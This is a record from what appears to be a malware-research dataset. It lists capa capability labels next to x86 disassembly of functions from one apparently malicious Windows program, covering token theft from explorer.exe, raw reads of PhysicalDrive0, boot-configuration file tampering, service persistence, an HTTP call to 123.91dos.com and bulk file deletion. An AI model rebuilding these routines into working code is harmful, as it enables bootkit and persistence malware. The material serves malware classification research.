joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404217
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
je 0x40424b
push 0x49
xor eax, eax
pop ecx
lea edi, [ebp - 0x124]
mov dword [ebp - 0x128], esi
push esi
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x404252
xor eax, eax
jmp 0x4042d4
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4042cb
push dword [ebp + 0xc]
call fcn.00408724
pop ecx
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00408724
pop ecx
push eax
call fcn.004086a0
pop ecx
test eax, eax
pop ecx
je 0x4042a3
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4042c8
jmp 0x40426d
push dword [ebp - 0x120]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ebp + 8]
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x4042cb
push 1
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x4042d8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push esi
lea eax, [ebp - 4]
push str.EXPLORER.EXE
push eax
call fcn.00404217
pop ecx
test eax, eax
pop ecx
je 0x404364
xor esi, esi
cmp dword [ebp - 4], esi
je 0x404364
cmp dword [ebp - 4], 0xffffffff
je 0x404364
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x58], 0x44
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x200
lea eax, [ebp - 0x258]
push esi
push eax
call fcn.00408090
push dword [ebp + 8]
lea eax, [ebp - 0x258]
push eax
call fcn.00408530
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x258]
push esi
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
pop edi
jmp 0x404366
xor eax, eax
pop esi
leave
ret
Function at 0x404f0d
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x4179f0
call fcn.00407e74
push ecx
lea eax, [ebp - 0x10]
push eax
call fcn.00404c7f
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
mov dword [esp], str.Update.exe
call fcn.004107aa
push 5
push 0
push dword [0x4210c8]
push dword [ebp - 0x10]
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret

Function at 0x404fa0
Capabilities:
Create http request

Disassembly:
mov eax, 0x417a04
call fcn.00407e74
mov eax, 0x1004
call fcn.00407fb0
push ebx
push edi
push 0x420ec0
lea ecx, [ebp - 0x10]
call fcn.004104fc
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100f]
mov byte [ebp - 0x1010], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push ebx
push str.HttpDownload
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
je 0x40502b
push ebx
lea eax, [ebp - 0x1010]
push 2
push eax
call fcn.00407f30
pop ecx
push eax
lea eax, [ebp - 0x1010]
push eax
push str.http:__123.91dos.com_xsbtest.inf
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
je 0x40502b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
push 1
pop ebx
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40506e
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x417a37
call fcn.00407e74
mov eax, 0x1258
call fcn.00407fb0
push ebx
push esi
push edi
xor ebx, ebx
push 0x420ec0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
call fcn.004104fc
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1263]
mov byte [ebp - 0x1264], bl
rep stosd dword es:[edi], eax
push 1
pop esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.HttpDownload
mov dword [ebp - 4], esi
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x20], eax
jne 0x4050df
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00410265
mov dword [ebp - 0x14], esi
jmp 0x405225
push ebx
lea eax, [ebp - 0x1264]
push 2
push eax
call fcn.00407f30
pop ecx
push eax
lea eax, [ebp - 0x1264]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0x20]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x405139
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x43]
mov byte [ebp - 0x44], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x20
push eax
lea eax, [ebp - 0x44]
push eax
push 0x13
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40514d
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00410265
mov dword [ebp - 0x14], esi
jmp 0x405225
lea eax, [ebp - 0x44]
push eax
call fcn.00407f1e
pop ecx
push 0x64
cdq
pop ecx
idiv ecx
mov ecx, dword [0x41f804]
mov dword [ebp - 0x18], ecx
cmp eax, 2
mov byte [ebp - 4], 2
jne 0x40520a
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x63]
mov byte [ebp - 0x64], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x20
push eax
lea eax, [ebp - 0x64]
push eax
push 0x14
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x4051bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x18]
push 0x41f0c0
push eax
call fcn.0040fba6
add esp, 0xc
jmp 0x40520a
mov edi, 0x200
lea eax, [ebp - 0x264]
push edi
push ebx
push eax
call fcn.00408090
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x264]
push edi
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40520a
push dword [ebp + 0xc]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0x20]
call edi
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x10]
push eax
call fcn.004105cb
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00410265
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 1
call fcn.004104d2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4052a7
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x417a4c
call fcn.00407e74
push ecx
push ecx
mov eax, dword [0x41f804]
push esi
push edi
mov dword [ebp - 0x10], eax
xor esi, esi
push str..PhysicalDrive0
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], esi
call fcn.004105cb
push esi
push esi
push 3
push esi
push 3
push 0xc0000000
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40533c
push ebx
push esi
push esi
push 0x7000
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x14]
push esi
push eax
push 0x200
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
pop ebx
je 0x40533c
push dword [ebp + 8]
call fcn.00405297
test eax, eax
pop ecx
je 0x40532c
push 1
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004104d2
mov eax, esi
jmp 0x40534a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004104d2
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x405358
Capabilities:
Manipulate boot configuration

Disassembly:
mov eax, 0x417a60
call fcn.00407e74
sub esp, 0x208
push ebx
push esi
push edi
xor ebx, ebx
push 0x200
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00408090
lea eax, [ebp - 0x214]
push eax
call fcn.004052a7
add esp, 0x10
lea eax, [ebp - 0xd2]
lea ecx, [ebp - 0x10]
push eax
call fcn.004104fc
push 0x420ec0
mov dword [ebp - 4], ebx
push dword [ebp - 0x10]
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
jne 0x4053ce
push dword [ebp - 0x1fa]
lea ecx, [ebp - 0x10]
call fcn.0040f850
push str.:91dosc_bak.gho
lea ecx, [ebp - 0x10]
call fcn.004107aa
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 3
push ebx
mov edi, 0x80000000
push 1
push edi
push dword [ebp - 0x10]
call esi
push str.C:91ldr
lea ecx, [ebp - 0x10]
call fcn.004105cb
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call esi
push str.C:91DOS91dos.img
lea ecx, [ebp - 0x10]
call fcn.004105cb
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x1fa]
lea ecx, [ebp - 0x10]
call fcn.0040f850
lea eax, [ebp - 0x10]
push str.:91dos_boot.ini
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004106d7
mov eax, dword [eax]
push ebx
push ebx
push 3
push ebx
push 1
push edi
push eax
call esi
lea ecx, [ebp - 0x14]
call fcn.004104d2
lea eax, [ebp - 0x10]
push str.:91dos_bcdback
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004106d7
mov eax, dword [eax]
push ebx
push ebx
push 3
push ebx
push 1
push edi
push eax
call esi
lea ecx, [ebp - 0x14]
call fcn.004104d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x405569
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x417aa0
call fcn.00407e74
sub esp, 0x40
mov ecx, dword [0x4210b0]
mov eax, dword [0x4214ec]
cmp ecx, eax
jle 0x405617
push esi
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x4210a8
push eax
call fcn.004038ae
push 0x420ec0
xor esi, esi
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
je 0x40560a
push edi
inc dword [0x4214ec]
push 0xe
xor eax, eax
pop ecx
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
push 1
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], str.C:Program_FilesInternet_Exploreriexplore.exe
call fcn.004107e9
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
pop edi
je 0x40560a
mov eax, dword [ebp - 0x14]
mov dword [0x4214f0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004104d2
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret
Function at 0x405d09
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x550
lea eax, [ebp - 0x140]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405da5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
lea eax, [ebp - 0x348]
push eax
call esi
lea eax, [ebp - 0x348]
push 0x5c
push eax
call fcn.0040895d
and byte [eax + 1], 0
pop ecx
pop ecx
test byte [ebp - 0x140], 0x10
jne 0x405d8b
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x550]
push eax
call esi
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x550]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x550]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405d51
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
pop edi
leave
ret

Function at 0x405da8
Capabilities:
Delete file

Disassembly:
mov eax, 0x417be4
call fcn.00407e74
sub esp, 0x14
push esi
push edi
mov eax, dword [0x41f804]
and dword [ebp - 4], 0
xor esi, esi
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 1
xor edi, edi
push edi
lea eax, [ebp - 0x10]
push str.addel_d
push eax
call fcn.0040fba6
add esp, 0xc
add esi, 7
lea ecx, [ebp + 8]
push esi
push dword [ebp - 0x10]
call fcn.0040f873
mov esi, eax
cmp esi, 0xffffffff
je 0x405ec1
push 1
lea ecx, [ebp + 8]
call fcn.004107e9
lea eax, [eax + esi + 7]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004054bf
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.0041057b
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004104d2
lea eax, [ebp - 0x14]
push eax
call fcn.00404c7f
mov dword [esp], str.alljpg
push dword [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
jne 0x405e70
lea eax, [ebp - 0x14]
push str..jpg
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004106d7
push dword [eax]
call fcn.00405d09
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.004104d2
jmp 0x405eab
push str.allswf
push dword [ebp - 0x10]
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
jne 0x405ea2
lea eax, [ebp - 0x14]
push str..swf
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.004106d7
push dword [eax]
call fcn.00405d09
pop ecx
lea ecx, [ebp - 0x20]
jmp 0x405e69
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.004104d2
inc edi
cmp edi, 0xa
jl 0x405dcb
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.004104d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x405ee7
Capabilities:
Print debug messages
Write file on windows

Disassembly:
mov eax, 0x417c08
call fcn.00407e74
sub esp, 0x10
push ebx
push esi
mov eax, dword [0x41f804]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], eax
push 7
push str.text
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.0040f873
mov esi, eax
cmp esi, 0xffffffff
je 0x405fb5
push 1
lea ecx, [ebp + 8]
call fcn.004107e9
lea eax, [eax + esi + 5]
lea ecx, [ebp - 0x10]
push eax
call fcn.004105cb
lea eax, [ebp - 0x14]
push eax
call fcn.00404c7f
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
mov dword [esp], str._the.okd
call fcn.004107aa
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405f81
push str.CreateFile_Failed.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x405fa9
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x18]
push ebx
push ecx
push eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], eax
call fcn.00407f30
pop ecx
inc eax
push eax
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.004104d2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.004104d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406206
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
lea eax, [ebp + 0x10]
push edi
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
call fcn.00408a47
lea eax, [ebp - 0x104]
xor esi, esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax + 0x1a8], esi
je 0x40626d
add eax, 0x84
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov edi, eax
cmp edi, esi
je 0x40627a
lea eax, [ebp - 4]
push esi
push eax
push esi
push 1
push esi
push esi
push esi
push 4
push edi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push edi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
jmp 0x40627a
lea eax, [ebp - 0x104]
push eax
call fcn.004089cf
pop ecx
pop edi
pop esi
leave
ret
Function at 0x406677
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov eax, 0x417c64
call fcn.00407e74
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x18], ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
cmp eax, ebx
jl 0x406799
mov ecx, dword [ebp - 0x18]
call fcn.00406934
push ebx
push ebx
push 1
push 0x64
push dword [ebp - 0x18]
call dword [sym.imp.ATL.DLL_AtlModuleUpdateRegistryFromResourceD]
mov dword [ebp - 0x14], ebx
mov esi, 0x20006
lea ecx, [ebp - 0x14]
push esi
push str.AppID
push 0x80000000
mov dword [ebp - 4], ebx
call fcn.00406bfd
mov edi, eax
cmp edi, ebx
je 0x4066ed
cmp dword [ebp - 0x14], ebx
je 0x406797
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x406797
mov dword [ebp - 0x10], ebx
push esi
push str.D8B3816B_85A2_4A55_BD84_3C2DF1B49C9B
push dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00406bfd
mov edi, eax
cmp edi, ebx
jne 0x40677a
push str.LocalService
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp dword [ebp + 0xc], ebx
je 0x406765
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, str.ViewSvr
push edi
call esi
inc eax
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push ebx
push str.LocalService
push dword [ebp - 0x10]
call edi
mov ebx, str._Service
push ebx
call esi
inc eax
push eax
push ebx
push 1
push 0
push str.ServiceParameters
push dword [ebp - 0x10]
call edi
mov ecx, dword [ebp - 0x18]
call fcn.00406887
xor ebx, ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x18]
call dword [sym.imp.ATL.DLL_AtlModuleRegisterServer]
mov edi, eax
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x40678d
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x406797
push dword [ebp - 0x14]
call esi
mov eax, edi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x406887
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, ecx
call fcn.004061c3
test eax, eax
jne 0x40692c
xor esi, esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, esi
jne 0x4068c6
add edi, 0x84
push esi
push edi
push str.Couldnt_open_service_manager
jmp 0x406915
lea eax, [ebp - 0x104]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push str.RPCSS
push esi
lea eax, [ebp - 0x104]
push esi
push eax
push 1
push 2
add edi, 0x84
push 0x10
push 0xf01ff
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
jne 0x406920
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push edi
push str.Couldnt_create_service
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x40692f
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push ebx
call esi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406934
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.004061c3
test eax, eax
je 0x4069bb
xor ebp, ebp
push 0xf003f
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebp
jne 0x40696a
add esi, 0x84
push ebp
push esi
push str.Couldnt_open_service_manager
jmp 0x406991
lea ebx, [esi + 0x84]
push 0x10020
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebp
jne 0x406994
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
push ebx
push str.Couldnt_open_service
push ebp
jmp 0x4069ca
lea eax, [esp + 0x10]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, eax
call esi
push edi
call esi
test ebp, ebp
je 0x4069c0
push 1
pop eax
jmp 0x4069d2
push 0
push ebx
push str.Service_could_not_be_deleted
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x408917
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x408937
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00409a10
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40895a
test byte [esp + 8], 2
je 0x40895a
call fcn.00409a83
mov dword [eax], 0xd
call fcn.00409a8c
mov dword [eax], 5
jmp 0x408933
xor eax, eax
ret
Function at 0x40cbeb
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x420888
cmp edx, dword [eax]
je 0x40cc0d
add eax, 8
inc ecx
cmp eax, 0x420918
jl 0x40cbfe
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x420888]
jne 0x40cd3b
mov eax, dword [0x423530]
cmp eax, 1
je 0x40cd15
test eax, eax
jne 0x40cc3e
cmp dword [0x41fde4], 1
je 0x40cd15
cmp edx, 0xfc
je 0x40cd3b
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40cc75
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00408530
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407f30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40ccb8
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407f30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41adc8
push edi
call fcn.0040dac0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00408530
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00408540
lea eax, [ebp - 0xa0]
push 0x41ada8
push eax
call fcn.00408540
push dword [esi + 0x42088c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00408540
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040def2
add esp, 0x2c
pop edi
jmp 0x40cd3b
lea eax, [ebp + 8]
lea esi, [esi + 0x42088c]
push 0
push eax
push dword [esi]
call fcn.00407f30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x413294
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4132d6
call fcn.004161d5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4132d6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4132cd
xor eax, eax
jmp 0x4132de
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004132e4
pop edi
pop esi
pop ebx
ret 4